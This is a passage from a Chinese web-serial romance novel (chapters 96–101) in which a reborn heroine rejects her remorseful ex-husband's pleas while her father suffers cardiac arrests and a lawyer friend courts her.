宋南伊苦涩,眼眶泛红。
第96章 你说的是放弃,不是抢救
宁时不再试图宽解。
有些痛苦,或许只有自己才能消化。
宋南伊需要的是时间。
不管宁时再如何阻拦。
霍时序还是偷偷的进入到了宋南伊的房间。
他站在门口。
她坐在阳台。
遥望中,似乎隔了一个世纪。
他们是熟悉的,是陌生的,是血和泪把关系撕扯过的夫妻。
如今。
相对无言。
霍时序几次动唇,却因颤抖的厉害,没有只字片语出来。
他想解释前世发生的一切。
他想把每一件事情,每一个情绪都解释透彻。
他想把自己的苦衷告诉她,他更想把自己所做每件事情的初衷也告诉她,他想告诉她的事情太多太多。
万语千言,最终化成了一句。
“南伊……,对不起,真的对不起,我愿意用一辈子来偿还我欠你的,真的对不起……”
他哭了。
宋南伊不知道这眼泪,是为她而流,还是为他自己。
她想,更多的是为他自己的委屈吧。
一直以来,她以为自己很了解他。
坚信着,他爱她胜过任何人。
经历前世惨死后,她才知道,他的爱只是嘴上说说,这样的爱可以给她,也可以给别人。
所以,他在伤害自己的时候,是那样的毫不犹豫。
宋南伊嘲弄地勾起唇,为自己曾经的识人无珠。
“霍时序,你不必跟我道歉,原谅你,是我对过去所遭受的苦难的亵渎和背叛,前世,我自以为是你的心尖宠,经历两世,我看透了你的虚伪,走吧,别再演苦情戏了,我根本没有兴趣。”
她垂眸,掩掉眼底黯淡的光。
如果这一世,他不是纵容苏语安害**两位亲人。
或许,她还没这么恨他。
但现在……二人之间,什么余地也没有了。
他缓慢地走向她。
步子很沉重。
他只想要一个机会,无论这个机会的代价是什么,他都可以承受。
“南伊……”
他半跪在她的面前,握着她的小手,轻声唤着她。
肩膀抽动,声泪俱下。
他的泪很热,烫得她掌心疼。
就像当时星言和母亲离开时一样的疼。
“南伊,前世,我并没有为苏语安殉情,她只是我用来救母亲的工具人,我撕碎了她的照片,让她陪葬母亲,我跳河是因为,我无法承受你们一个个地离开……”
宋南伊笑了。
明明,她是有机会活的。
是他放弃了她。
“霍时序,别美化自己了,我在产床上拼命呼喊,让你救我的时候,你说的是放弃,不是抢救,我听到了,你太虚伪了……”
宋南伊摇着头。
眼前的**子,令她恶心。
“我……”
他承认当时他的脑子一片混沌。
他承认,当时因为母亲的过世,他对宋南伊是有恨的。
可他并没有放弃过她的生命。
放弃抢救这样的话,不是对宋南伊的。
医生说只能保一个,让他二选一,他说要救大人,如果孩子救不活,就先放弃。
他扇了自己两个巴掌。
不管怎样,宋南伊确实没有活,这是事实。
错是他的,他认。
“对不起,南伊,真的对不起……”
这时,宁时推门进来。
看到霍时序在,三两步走到面前,将他自己挡在了二人之间,“霍先生,请离开宋总的房间。”
霍时序擦了把脸上的泪。
看向宋南伊清冷的侧脸。
踉跄起身。
“我知道,我犯的错误,不值得这么轻易原谅,但我不会放弃的,南伊,我真的爱你,我不能没有你,对不起,真的对不起。”
霍时序不舍,但毅然转头走出了房间。
宋南伊掩面。
她何尝不痛苦呢,那些伤害像一把利刃,时常捅向她的心脏,想忘怎么也忘不了。
她累了。
起身,她回到自己的大床上,疲惫地对宁时说,“我要睡一会儿,你先出去吧。”
“是。”
宋南伊不知道睡了多久。
睡梦中,前世今生的伤痛,一遍遍地上演。
她辗转反侧,醒来后,额角都是密密的汗珠。
外面的雨下得越来越大。
院子里的绿植被敲打出清脆又沉闷的声响。
宁时敲门进来,“宋总,宋先生让我叫你起来,去用晚餐。”
“知道了。”
宋南伊本就纤瘦。
怀孕前期孕反严重,体重掉了十几斤,前几天产检,医生说她气血不足,需要加强营养。
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宋知令听说后。
一直担心她的状态。
便花重金请了一个江城来的阿姨,专门为宋南伊做饭。
阿姨的厨艺不错,只是宋南伊没什么胃口,通常几口就放下筷子。
今天亦是如此。
“多吃点,你不吃,肚子里的宝宝也要吃,别到时生孩子时,没有力气,这是有危险的。”
宋知令想起了当年南微生女儿时的场景。
三天都没有生下来,最后生下来,宝宝就夭折了。
他很害怕,宋南伊会发生同样的情况。
“爸,我实在是吃不下,今天喝过两杯孕妇奶粉了,不缺营养。”
阿姨给宋南伊又盛了碗汤,“那就再喝碗汤,这是我用海参和乌鸡吊的汤,熬了好久呢,营养很高的。”
“谢谢你凤姨。”
宁时撑着伞,从外面拎回一些水果。
宋南伊招呼他先吃饭,“水果一会儿弄,先吃饭。”
“是。”
宁时对宋南伊毕恭毕敬。
他沉稳,干练,从不越距,吃饭也从不上桌。
通常会自己在厨房,坐个小凳子吃。
凤姨每次都给他把饭添得满满的,还会搭一句,“锅里还有。”
宁时往厨房里走。
宋南伊叫住了他,“以后就在桌上吃,那大的个子,蜷在那儿,不憋得上吗?”
“这……不合规矩。”
“你是我请的保镖,又不是家里的长工,你和凤姨一样,都是这个家的一份子,大家一起吃饭,才热闹,我可能还会多吃两口饭。”
宋知令接过话头,“是啊,家里本就没多少人,一起吃饭,聊聊天,都别见外。”
“是,宋先生。”
中途,凤姨去院子里拿东西,回来时慌慌张张地说,“先生,小姐,那位姓霍的先生,一直在小姐楼下跪着呢,这可怎么办啊?”
宁时早就看到了。
他驱赶过了,但霍时序就是不走。
“刚刚我让他离开,他没听。”宁时说。
宋南伊手中的汤勺,滞了一下,声音轻轻的,“我还以为他早走了呢。”
“外面的雨这么大,他就在那儿淋着,这会不会淋出病来啊?”
凤姨心善,想拿把伞给霍时序。
宋知令没有反对。
宋南伊也没有说话。
第97章 请你不要死在我的家里
凤姨就当同意。
拿起伞往外走。
年轻人,身体好,但这么淋是不行的。
“霍先生,还是先起来避避雨吧,这事情啊,得慢慢解决,别着急啊。”
凤姨将伞递给霍时序。
他依然没接。
头发地上水珠滴滴答答,黑色的西装被浇透,水泥地面冰凉刺骨,这个季节,雨水是很伤人的。
“霍先生?”
“霍先生,有什么事情,好好跟小姐谈,作践自己不好的。”
“霍先生?”
霍时序并不理会凤姨。
凤姨没办法,又将伞拿了回来。
“这位霍先生,也不说话,给伞也不接……”凤姨直摇头。
宋知令轻叹,心底的波澜万千。
儿子与妻子的离世,他心怎能不恨?
但他不能失去理智。
霍时序是霍家唯一的继承人。
这人要是在自己家有个闪失,他和女儿也不会有安宁日子过。
“南伊,”他望向女儿,眼神中满是无奈,“要不,你去跟他讲吧。实在不行,也只能请霍家来人将他领回了。”
宋南伊怎么会不明白父亲的担忧。
放下汤匙。
“知道了。”
宋知令上楼,宋南伊独自坐在楼下,静谧中只听雨声渐大。
风,肆意。
将雨丝吹得凌乱无序,正如她此刻的心绪,剪不断,理还乱。
……
抬眸。
宋南伊站在他的面前。
宁时身形高大为她撑着伞,女人低睨,言语冷漠,“霍时序,别以为淋一场雨,就能改变什么,我们之间的关系,就这样了,各自安好,是对彼此最好的放过。”
他抬头,看向她,脸上不知道是雨水还是泪水,憔悴又狼狈。
空气湿冷。
他的身子在颤抖。
“南伊……”
“走吧,霍时序。”
她没什么感情,转身要走。
他抬手扣住了她的手腕。
她能感受到他指尖的温度,冰的刺骨。
说到底,霍时序是个大病初愈的人。
父亲担心的,亦是她担心的。
“霍时序,别再纠缠了,有什么意思呢?你就算跪到死,我也不可能原谅你,如果……”她眉心拧紧,透着对他这种行为的厌烦,“……你真的要跪到死,也请你不要死在我的家里。”
他垂下脑袋。
依然跪着,像钉在了原地一般。
油盐不进。
转身。
宋南伊往屋内走。
宁时回头看了霍时序一眼,这个男人是挺倔的。
但他用错了方法。
他折磨的不止有自己,还有宋南伊。
顾不上瑞士和江城的时差,她亲自给霍家老宅打去了电话,让他们过来领人。
老爷子被惊扰。
披着睡衣出来,询问发生了什么。
霍明达皱起眉心说,“时序去瑞士了,跪在宋家院子里,正淋雨呢,宋家怕出事,让我们过去把人带走。”
他边说,边气儿子的不争气。
一个女人而已。
谈不上家世多显赫,最多就是有一些世家的情分在,分了就分开,各自再找新的伴侣就好了。
整这一出,把霍家的脸都丢尽了。
“江淮呢,没跟他一起过去?”霍正诚问。
“不清楚。”
“给江淮打电话。”
霍明达当着老爷子的面,给江淮打去了电话。
此时的他,已经在了宋家的院子里。
“您放心,我一定把霍总安全带回去。”他已经苦劝了一会儿了。
但霍时序根本听不进去。
愣是跪在那儿,一动不动的。
“让他要点脸,都离婚了,还纠缠不清的,天底下的女人都死光了吗?霍家的脸都让他丢尽了。”霍明达忍不住嚷嚷。
江淮也不知道该如何替霍时序,解释现在发生的一切,“霍总还是爱着宋小姐的,况且,宋小姐现在怀着孕,他如何能放弃呢。”
“什么?怀孕?”霍明达声音里,是难以置信的震惊。
霍正诚一把抢过手机,语气焦急:“江特助,你刚刚说南伊她……怀着孕?不是已经打掉了吗?这究竟是怎么回事?”
“老爷子,具体的情况我也不了解,但有一点可以肯定,宋小姐腹中的孩子,确确实实是霍总的。”
“你真的确定?”
霍正诚的声音因激动而略显颤抖。
大喜过望。
当下,他决定,要亲自去一趟瑞士,帮自己这个可怜的孙子一把。
“江淮,你看好时序。”
霍正诚嘱咐道,言罢,他果断地挂断了电话。
江淮劝了一晚上。
也没有把霍时序劝走。
只得呆在他身边,撑了一晚上的伞。<
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br>一大早。
宋南伊还没醒。
凤姨就过来敲她的门,“小姐,家里来客人了。”
“什么客人?”宋南伊揉着眼睛,拿起手机看了一眼时间,“这么早?谁会过来。”
就算是霍家来人。
应该也不可能连夜来。
她披了件睡袍,下床,“凤姨,是霍家的人吗?”
“好像是姓霍,先生已经请他们进了客厅,一个老头,头发花白的,还有一个跟先生差不多年纪的男人。”
宋南伊一愣。
头发花白的老头。
难不成是……霍正诚?
他亲自过来了?
那个跟父亲年纪差不多的,应该是霍明达。
霍家的阵仗这么大。
不会是来找麻烦来了吧?
心下一紧,生怕霍家人会难为父亲,宋南伊赶紧洗漱了一番,穿着得体的下了楼。
楼下很热闹。
霍家人都到了。
看到宋南伊从楼上下来。
霍家二位,齐唰唰地将视线落到了宋南伊的小腹上。
她吓得抬手捂住。
人也钉在了楼梯上。
“南伊,别怕,今天我亲自过来,就是来收拾时序这个混小子的。”霍正诚笑的鱼尾纹都织成了网。
她微顿了一下。
便轻身下了楼。
“南伊,怀孕了怎么不跟爷爷讲呢,有什么事情,爷爷会替你做主的,受委屈了吧,孩子。”
“时序。”霍正诚将一身憔悴的男人叫到面前,“前段时间,你干的荒唐事,真的是太令人失望了,现在南伊怀了孕,你要好好的改正,要是让南伊再受一丁点的委屈,我定不饶你。”
“我会的爷爷。”
宋南伊:……
霍家人,似乎忘了,她和霍时序已经正式离婚。
就算怀孕,也与霍家人关系不大。
没必要这么火急火燎地赶过来,给她施加压力。
“爷爷,我想你们误会了。”宋南伊有必要纠正一下,霍家人的想法,“我和霍时序已经离婚,这孩子,我虽然留了下来,但与霍家无关,如果你们执意要这个孩子,我现在也可以做掉。”
“你这孩子……”霍明达越来越觉得宋南伊不可理喻,太任性了,“……这是条人命,说不要就不要了吗?他姓霍,你就算拿掉,也得问过我们的意见,怎么这么任性妄为呢?”
第98章 她的腿,你也敢碰?
“这孩子还在我的身体里,我就有做主的权利,我叫你们过来,并不是想跟霍时序再续前缘,而是让你们把他带回去,以后不要再出现在我的面前。”
宋南伊说得够清楚。
她留下这个宝宝,与任何人都无关。
只是为了自己。
在没有生下来之前,她有处置的权利。
“南伊啊,我们来不是抢孩子的,你放心,爷爷在这儿保证,没人可以抢得走你的宝宝。”
霍正诚是霍家的主事人。
说话很有分量。
宋南伊心下放松了几分,“爷爷,我信你。”
霍正诚看了一眼孙子。
嘴唇泛白,精神萎靡,像是活不成的样子。
把身体糟践成这样。
甭说挽回宋南伊了,就是普通的女人,也瞧不上这副身板。
“江淮,赶紧送你们霍总去医院瞧瞧,这要是死在这儿,多晦气。”
老爷子发话。
江淮立马执行,“好的,老太爷,我马上送霍总去医院,检查一下身体。”
霍时序执拗。
说什么也不肯走。
被霍正诚骂了几句后,这才不甘心地离开了宋家。
宋南伊的心,通透了不少。
霍正诚和宋知令在聊天。
她便上了楼。
其实不难猜,霍家人找父亲聊的目的,无非就是让她好好地把孩子生下来。
毕竟这孩子是霍家的。
上一世,她怀孕的时候。
霍家人也像现在这样,欢天喜地地盼着这个孩子的到来。
那时的她,也以为,只要把孩子生下来,她和霍时序的关系就会变好。
可她弄错了。
霍家人盼着这个宝宝降生,霍时序除外。
悲剧才会发生。
她如往常一般,坐在阳台上,怔忡发呆。
宁时不远不近地守着她。
直到凤姨急促地敲响她的房门。
“小姐,先生他晕倒了,你赶紧去看看吧……”
“什么?”
宋南伊快步下了楼。
霍家人已经走了。
宋知令靠在沙发上,人是半昏迷的,气息微弱,状况十分不好。
“叫救护车了吗?”
“已经叫了。”凤姨有些手足无措。
在国外不同于国内,他们住的这个地方,相对偏僻,救护车过来的时间偏长。
她怕,很怕……
宋南伊慌乱无措的眼神,看向了宁时。
他秒懂。
将宋知令小心翼翼地从沙发上扶起来,架在自己的肩头,“宋总,你去开车。”
“嗯。”
有宁时的帮忙。
他们以最快的速度,将宋知令送到了就近的医院。
经过急救。
宋知令恢复呼吸。
医生说,他是受到了刺激,导致心脏出现问题。
刺激?
宋南伊想到了霍家。
他们到底是说了什么,刺激到了父亲?
宋南伊把凤姨叫到病房外,留下宁时帮她守着父亲。
“凤姨,霍家人跟我爸聊什么了?他为什么会受到刺激?”
凤姨没听太全,只是隐隐约约的,“那位跟先生差不多年纪的霍先生说,让先生不要太计较过去发生的事情,这样对宋家人,和宋氏都好。”
“只是说了这些?”宋南伊蹙眉追问。
只是这些,不足以让父亲气到发病。
“还说什么了?”
凤姨神色闪烁,吞吐道:“还说,还说……说没想到小姐你还在家里养男人,问先生,是不是你没离婚就跟小宁好上了,说你这宝宝生下来,是要做亲子鉴定的,他们霍家可不是随便就认个孩子,当成霍家的子孙后代。”
霍明达真的这样说?
他有什么资格,无端猜疑?
宋南伊紧紧地握紧了拳头,身子禁不住微微一晃,幸好凤姨眼疾手快,稳稳将她扶住。
“小姐,你还好吧?”
她怒极反笑:“既然怀疑,就不要妄想,以后这个孩子会认他们霍家。”
“就是说嘛,我看他也不年轻了,这种话也能讲出来,真是有失身份,那头发花白的老爷子,听到他说这些不着调的,还给了他两拐仗呢。”
宋南伊冷笑。
霍家向来自私自利。
她没跟霍时序离婚时,霍明达当她是霍家人,说话,行为,都不会出格。
甚至还有一些慈爱。
如今,离婚。
他自然也不必顾及她和宋家的脸面。
难听的,猜忌的话,张口就来。
毫不顾忌别人的感受。
真是令人寒心。
不重要。
反正,她也不会再跟霍家人有什么关系。
她现在只求父亲能早点好起来。
“25床,病人心脏骤停,需要马上去急救,家属过来签字。”
有护士大声急促地呼喊。
宋南伊立马往病房方向,小跑了过去。
宋知令推进了急救室。
她彻底失去了主张。
明明,刚刚从急救室出来,怎
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么又推进去了?
宁时小声安慰她,“宋先生不会有事的,你别想多了。”
“会吗?”
宋南伊想到了宋星言,躺在医院里急救的时候。
那时,她根本就不觉得,他会离开。
可他偏偏就离开了……
她紧张,忐忑,心脏狂跳,连脑子也充血,变得不清醒。
好在,上天保佑。
宋知令这次又被抢救了过来。
医生告诉宋南伊,宋知令的心脏病是旧疾,现在严重了,骤停会随时出现,要想恢复到正常人的健康,最好是换颗健康的心脏。
宋南伊沉默着。
这话说得很容易。
父亲血型特殊,合适的心脏,哪是那么好找到的。
等宋知令好一些的时候。
宋南伊带宋知令回了江城。
毕竟江城的医疗资源,要比在国外强一些,治疗的费用也会低很多。
安排好父亲入院后。
她累坏了。
宁时拍了拍自己的肩膀,“可以靠一下。”
宋南伊挤了抹难看的笑。
将头搁在他的肩上,“宁时,你说我爸会好起来吗?我只有一个爸爸了,我好怕他会出事,真的好怕。”
“一定会的,医生不是说了,就算找不到合适的心脏,用药物也能控制病情的,你别太紧张了。”
宁时温声安慰着。
宋南伊突然嘶了一口。
最近她小腿抽筋频繁,医生给她开了补钙的药,但效果一般。
宁时蹲到她的面前。
握起她的小腿,替她轻轻地揉着,“孕期是这样的,我妹怀孕的时候,也经常抽筋,有时候半夜睡着觉,还会抽起来。”
提到宁时的妹妹。
宋南伊总是一阵唏嘘,“她做牢后,你去看过她吗?”
“看过,但她不希望我经常去看她,不想我难受。”男人淡淡的,并没有多少的情绪起伏。
她知道,他心里难受。
宁时的手法还不错。
宋南伊的疼痛,得到了缓解。
这时……
霍时序带着江淮,走进医院,远远地看到了这一幕。
他步子加急。
江淮也看到了。
生怕霍时序控制不好情绪,想拦下他,“霍总,你别冲动,这里面兴许有误会,要不,先问一下,我去问一下,霍总,霍……”
霍时序几步走到二人跟前,攥住宁时的领口,将他拽了起来,“你小子,越来越过分了,她的腿也是你碰的吗?”
第99章 你拿什么偿还
宁时没准备。
被霍时序拽了个趔趄。
他拖着宁时往外走。
江淮怎么也劝不住。
今天,是过来看望宋知令的,要是打起架来,这番心意又白白的浪费。
“霍总,您冷静一点。”
霍时序早就看宁时不顺眼。
碍于宋南伊,他强压着自己,不去表达自己的反感。
他竟然给揉上腿了。
这他如何能忍。
尚存一息的理智,令他没有鲁莽,将宁时交给了江淮,“给我看好他,一会儿我再找他算账。”
转身。
霍时序重新走向了宋南伊。
打横抱起她,往外走。
宋南伊吓到了,踢腿挣扎着,“霍时序,你要干什么?”
他的脸很冷。
脾气很臭。
将她塞进车里后,就落锁将她囵囿身前,死死压住。
说他没有分寸,他还小心地给宋南伊的肚子,留出了空间。
说他有分寸,他是一点也没有给宋南伊留余地。
“霍时序,你有病吧?我这是要干什么?你有什么资格这样?我们已经离婚了,还要说多少遍?”
她瞪着他。
恨意十足地瞪着。
连日来的疲惫,令她的眼睛里,布满了红色的血丝。
他心疼她。
将她的小手紧紧地握住。
“南伊,我知道爸病了,你很难过,没关系的,我在呢,我会找最好的医生,给爸治病……”
他的脸离她很近。
鼻尖几乎要碰到她的鼻尖。
二人的呼吸,几乎要纠缠在一起。
她冷呵,满是恨意的,“我爸为什么会病重?还不是你们霍家人干的好事?霍时序,你别假惺惺的了。”
“不管是谁,导致了这一切,我都会让爸好起来的。”
宋南伊冷漠地推开了他,“我不需要。”
“我是真心的,南伊,我们有孩子了。”他的大手轻轻的抚上她的小腹,唇几乎贴上她的耳朵,“你知道我有多开心吗?前世,我犯下的错误,这一辈子,我如数地偿还,你对我,想怎样便怎样,只要别让我离开你,好吗?”
“霍时序,别说这些了,我不会原谅你的。”
她想推开他,与他保持一些距离。
推不动。
他压得她很紧。
她能看到他眼里的欲望,这种欲望在此时,是令她反感和焦虑的。
她不喜欢,很不喜欢。
“你拿什么偿还?你可以让星言活过来吗?还是你有起死回生的仙术?霍时序,发生的已经发生了,前世你害我死,这一世,因为你,又死了几条人命?你还得起吗?”
她骂得对。
他是还不起。
如果可以,他愿意,再回到前世她生产的那一天,他要陪在她身边,他知道,那时的她有多无助,有多需要他。
“如果你希望我死,我也可以。”他声音低沉,大手落在宋南伊的脸上,轻轻地抚着,透着怜爱,“南伊,要不,你现在捅我一刀,我承受得住的。”
“疯子。”
她红着眼,捶打着他的胸口。
他却将她紧紧地抱住。
她的温度,令他安心,好像他们从来没有分开过。
“南伊,我真的不能没有你,我们给孩子一个家,好吗?前世的遗憾,这世来弥补,我会是一个好丈夫,好父亲,我一定拼尽全力地爱你和孩子,好吗?”
他卑微地乞求着。
女人含着泪水的眸子,轻颤着,抬手就给了他一个巴掌。
“别妄想了,我们永远不可能了。”
他的脸被打偏。
却没有生气。
目光依然温柔地望着她,“好,我们现在先不谈这个,爸现在生病,你也没有心情,我懂,等爸病好了,咱们再说。”
宋南伊摇头。
他总是在她面前装傻。
很多伤痛,并不是时间可以冲淡的。
轻轻地闭上眼睛。
泪两行。
他心疼地去吻掉她的泪水,一下又一下,“别哭南伊,不管未来我们有多少困难,我都不会放弃的。”
宋南伊无力地靠在椅背上。
由着他动情地吻她。
她没什么反应,像只木偶。
“如果是因为我怀了孕,霍家刚好想要一个继承人,这孩子我可以打掉。”
不是她心狠。
她只想与他断干净。
“我只想求你的原谅,这与孩子无关,与任何人无关,南伊……”他捧着她的小脸,在她颤抖的唇上吻了一下,“……我爱你,我很后悔过往的一切,我想要一个机会,我更不希望你去伤害自己,你要好好的。”
他抱得她很紧。
将她的小脸,搁在自己的颈侧。
感受到她的眼泪,滴落进他的领口……
“砰。”
车子震动了一下。
宁时正拿着一根棒球棍,用力地敲打着车窗玻璃。
几次下来。
防爆的车玻璃,已经有了裂痕。
霍时序打开车门下去,看向这个疯狂的男人,怒斥,“你干什么?毁坏他人财物,我可以报警抓你。”
宁时扔下棒球棍。
钻进车里,紧张地问向宋南伊,“宋总,你没事吧?”
“我没事。”宋南伊将眼泪擦干,弯身下了车,吩咐道,“宁时,你去守着我爸,我这边,自己可以处理。”
“宋总……”宁时担心,不愿离开。
宋南伊拍了拍他的胳膊,示意他不用担心,“光天化日的,他不能怎么样。”
“是。”
宁时一步三回头,不放心的,先行离开。
江淮气喘吁吁地跑过来。
看着被砸的车子,眉头拧紧,“还真是一个莽夫。”
“江淮,你把车子开去修,我跟南伊再说会儿话。”他说。
“是。”
江淮将车子开走。
空旷的地方,只有他们两个人。
宋南伊没有兴趣跟他聊,转身往病房大楼走,她需要跟医生再讨论一下病情。
霍时序抬手扣住她的手腕,重新扯回了原地,“爸的病,我来处理,你就安心养胎,好吗?”
他的话刚落地。
就听到有人喊宋南伊的名字。
“南伊。”
二人几乎同时抬眸。
是陆为谦。
他脸上透着焦急,忽略掉霍时序的存在,直接同宋南伊说话。
“南伊,我听说叔叔病了,刚好,我姐有一个师哥是心脏病方面的专家,可以帮得上忙,我引荐你们认识。”
宋南伊刚要动唇同意。
霍时序先开了口,“陆为谦,这有你什么事儿?”
“宋叔病了,我既然认识这方面的专家,伸把手帮忙不是应该的吗?我和南伊是朋友。”
陆为谦不解地看向男人,态度有些强硬。
是霍时序从未见过的样子。
“她不需要。”霍时序一步迈到宋南伊的前面,挡住陆为谦的视线,“我们家的事情,还用得着你来瞎好心?你以为我不知道你在想什么?”
“你们家的事情?时序,你是不是忘了,你和南伊已经离婚了?你们现在什么关系都没有。”
“怎么就没关系了?她现在怀着我的孩子,我们永远不可能没有关系。”
霍时序理直气壮。
第100章 假女婿是当上瘾了
陆为谦知道宋南伊怀孕的事情。
并没多少奇怪。
只是淡淡地看向男人,轻嗤一笑,“但愿吧。”
他的软刀子,有点伤到了霍时序。
刚要动怒。
宋南伊便绕过他,跟陆为谦说话,“真的吗?那可太好了,什么时候可以见一面?”
“现在,我已经约好了,我们现在就过去。”
“好。”
宋南伊跟着陆为谦走了。
霍时序怎么也喊不住。
坐进陆为谦的车里。
他贴心地递上了清口的饮料,“新榨的,有助于缓解焦虑。”
“谢谢。”宋南伊接过来,抿了一小口。
他从后视镜里看了女人一眼。
她很憔悴,黑眼圈很重,精神状态并不是很好。
“南伊,别担心叔叔的病,他一定会好起来的。”
“希望吧。”
约着医生见面的地方,一个雅致静谧的咖啡厅。
医生看着各种检查的数据。
眉头紧锁。
“是不是我爸的病情,比较……难以治疗啊?”
“你的爸的心脏病是**病了,他这个岁数,还是建议做手术,免得日后因为年纪的增长,心脏无法承受压力,出现生命危险。”
医生的建议是换新的心脏。
这是个难题。
“保守治疗呢?”
“保守治疗的话,只能十年以内可以保障他有比较好的心功能,超过十年……”医生摇了摇头。
宋南伊便明白了。
“嗯,我考虑一下吧。”
医生离开后。
陆为谦为她倒了杯奶茶,“你目前考虑最多的是什么?是没有合适的供体,还是钱的问题?”
“积蓄我是有的,我担心的是……普通人都很难等到合适的心脏,更何况我爸的血型特殊,这要等得等到什么时候……”
宋南伊倾向于保守治疗。
先保住命,提高生活质量再说。
供体慢慢等,十年,应该能等到的。
“其实,我姐的实验室,有很多心脏病方面在研的新药,要不要……”
“不用了陆律师,上次我妈的病情,就已经够麻烦姐姐的了,心脏病治疗方面的药物,已经相对成熟,还是听医生的吧。”
陆为谦点头,“你觉得怎样合适,就怎么来。”
“谢谢你陆律师。”
“我们是朋友,别这么客气。”
他们坐在一起,静静地喝着东西。
陆为谦聊了一些,他近期的变动,“我准备休个长假,这段时间,也没什么事情,我刚好可以过去照顾宋叔。”
宋南伊听得一怔。
忙拒绝,“不用的,我可以照顾,而且宁时也在帮我,你好不容易休个假,怎么可以……”
她不想欠陆为谦的情。
人情,常常是很难还的。
“你别有负担,我不需要你还人情,反正,在家也是闲着,就当是……活动活动。”
他微笑着。
眼角的光,温和中透出儒雅和温暖。
陆为谦给人的感觉,很舒服,如果不说他的职业,很难跟律师这个行业联想到一起。
在爱情方面。
陆为谦隐忍了很多年。
正渐露锋芒。
对宋南伊。
这跟她怀没怀着霍时序的孩子,无关,他就是想争取一下。
为自己。
……
陆为谦频繁地出现在医院。
帮着宋南伊做一些分内的事情,帮宋知令擦身体,陪他去厕所。
有时候,宁时也插不上手。
宋南伊不在的时候,临床的病友,对着宋知令,一个劲地夸陆为谦。
“这是女婿吧?老宋啊,你可真有福气,都说一个女婿半个儿,你女婿,跟儿子没什么区别。”
“你看这忙里忙外的,又是端茶又是递水,这耐心哦,比我家那儿子强多了,一点抱怨都没有,我可真羡慕你啊。”
“我看你家女儿像是怀孕了吧?这好女婿啊,将来一定是好爸爸,老宋,你将来就等着享福吧。”
病友这一顿夸。
夸的陆为谦和宋知令,都不好意思。
对着外人,也不好解释什么。
没人的时候,宋知令还是跟陆为谦说了,不要介怀的话。
“他们都是瞎猜乱说的,你别往心里去。”
“宋叔,我不介意,说真的,现在南伊也离婚了,我……也想追求她。”
这是他第一次如此大胆的,表达了自己的想法。
宋知令早就察觉一二。
陆为谦确实是个不错的人,职业也体面,家族也有背景,他各方面都很优秀。
正因为如此。
陆家是不可能接受一个怀着孕的
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女人,嫁过去。
说得难听一点。
他们会认为这是对陆家的侮辱。
作为父亲,他是不希望自己的女儿去受这个委屈。
他对二人的关系,又没有了解,“南伊她……对你……你们……”
“宋叔,我是真心实意地想追求南伊,不瞒您说,我喜欢她很多年了,不知道您这边……有什么意见没有?”
宋知令没想到陆为谦这么直接。
他一时语塞。
“小陆啊,你想追求南伊这事,她知道吗?”
陆为谦垂眸。
他还没有鼓起这份勇气,但如果宋知令同意了。
他一定信心百倍。
“宋叔,您会支持我追求南伊吗?”
“我……”宋知令不知道该如何回答,“……你们年轻人的感情事,我不好参加意见的。”
“我明白。”
宋知令不表态。
就是对他还没有太满意。
他得加把劲。
于是话锋一转,“宋叔,医生说你恢复得不错,可以吃一点鸡鸭鱼肉什么的,刚好我做鱼比较拿手,一会儿南伊来了,我就回家去做,您也尝尝我的手艺。”
“不用那么麻烦小陆,凑合吃点就行。”宋知令不想麻烦。
陆为谦却坚持,“病人哪能凑合啊,您正在养身体,该加营养的时候,可不能含糊。”
宋南伊回到医院后。
陆为谦交代了几句后,便先行离开。
刚走出病房大楼的门口。
他就看到了霍时序正倚在车门处,低头点烟。
今天宋南伊离开医院时,说要去处理工作室的一些事情,怎么霍时序……
男人吸了口烟,侧过脸,看向陆为谦。
“怎么?这假女婿是当上瘾了?”
霍时序的话颇为讥诮。
陆为谦并没有因此羞耻,而是破天荒地回怼了他一句,“你连假的也不是了,不是吗?”
“陆为谦,你就这么想,给我的儿子当后爹?”他深吸了口烟,将烟卷扔到地上,狠狠地碾灭,“你问过南伊的意见吗?你别剃头挑子一头热了。”
陆为谦淡淡的笑了笑。
感情这种事情,是靠培养的。
当年,宋南伊也没看上霍时序。
要不然,他也不会苦追七年。
“你不也是从一头热开始的吗?”
第101章 他行,为什么我就不行?
“你跟我能一样?我光明正大,你就是一个小偷,从偷窥别人的幸福,到偷人,说你不要脸,都抬举了你。”
霍时序的话,毫不客气。
贬低陆为谦,想让他有自知之明。
而后,自觉地退出。
陆为谦轻描淡写地扫了他一眼,淡然地笑笑,“你想怎么讲,就怎么讲,我现在没时间跟你聊这些有的没的。”
他打开了车门。
弯身坐了进去。
车子轰着油门离开。
只留下了不屑一顾。
霍时序像吃了苍蝇一般的难受。
即便这样,他还是整理好了情绪,走进了病房。
手上的礼品贵重,都是他精挑细选。
“爸,我来看看您。”
宋知令没吭声,宋南伊也没有抬头。
霍时序摸了摸鼻尖,稍显尴尬,“爸,我邀请了国外知名的心脏病专家,过几天就能来给你会诊,到时咱们选最稳妥,最有效的治疗方法。”
他是带着诚意来的。
不管宋家人愿意与否,他尽的心,要尽到。
“爸,最近我的工作不忙,我就留下来,帮着南伊照顾你,到时专家团队过来了,我也好跟他们沟通,你觉得怎么样?”
宋知令有些为难。
宋南伊冷冷清清的开口,“不用。”
“你自己照顾爸,太累了,我会心疼的。”他情深意重地补充道,“我是个男人,男人照顾男人,方便一些。”
“宁时不是男人?他有力气,也细心。”宋南伊扭过脸来,不耐的看向霍时序,“这是我们的家事,不劳烦你费心,霍总没什么事情,就请回吧,我爸要休息了。”
“既然爸要休息,那我们去外面说。”
霍时序没当自己是外人。
揽着宋南伊的肩,就来到了病房外面。
宋南伊生气地推开他,“别动手动脚的。”
“我就是想帮帮你,照顾病人,很苦很累,你身子娇弱,哪里受得了这个。”霍时序拍拍自己的胸膛,“我就不一样了,我一个大男人,有的是力气,而且,我也想对爸尽尽孝心,你就别生气了。”
宋南伊嗤。
尽孝心?
他是怎么厚脸皮,说出这种话的?
“霍时序,你还需要我再重复一遍吗?如果不是你们霍家人,我爸现在正在家里喝茶呢,是你爸说了一些子虚乌有的话,让我爸气急攻心,你在这装什么好人?”
霍时序不知道霍明达,对宋知令说过什么。
能让宋南伊这般生气。
当然不会是什么好听的话。
他很抱歉。
“我替爸说声对不起。”
“用不着。”
她转身要走。
被他强行摁住肩膀,“我知道,我,包括我们霍家,做了许多错事,南伊,我不求你现在马上原谅我,就请你让我先照顾好爸,以后的事情,慢慢说,行吗?”
“不用。”她依然拒绝。
“你可以让陆为谦来照顾爸,为什么我就不行?”
霍时序恼火,除了生气,他还在怕。
怕宋南伊跟陆为谦日久生情。
他太知道,一个男人如何可以让一个女人动心。
他怕极了。
